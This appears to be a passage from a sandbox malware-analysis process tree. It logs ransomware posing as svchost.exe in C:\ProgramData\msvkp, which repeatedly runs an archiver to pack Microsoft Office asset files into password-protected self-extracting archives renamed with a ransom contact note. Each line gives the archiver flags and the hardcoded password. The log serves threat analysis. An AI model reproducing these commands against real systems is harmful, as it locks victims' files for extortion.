                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-linkedentity.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-linkedentity.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-moreimages.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-moreimages.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-warning.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-warning.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\CardViewIcon.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\CardViewIcon.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\manifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\manifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelFluent.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelFluent.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelFluent.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelFluent.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:60
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelGlyph.16.GrayF.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelGlyph.16.GrayF.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelGlyph.16.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelGlyph.16.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Checkmark.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Checkmark.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Checkmark.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Checkmark.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
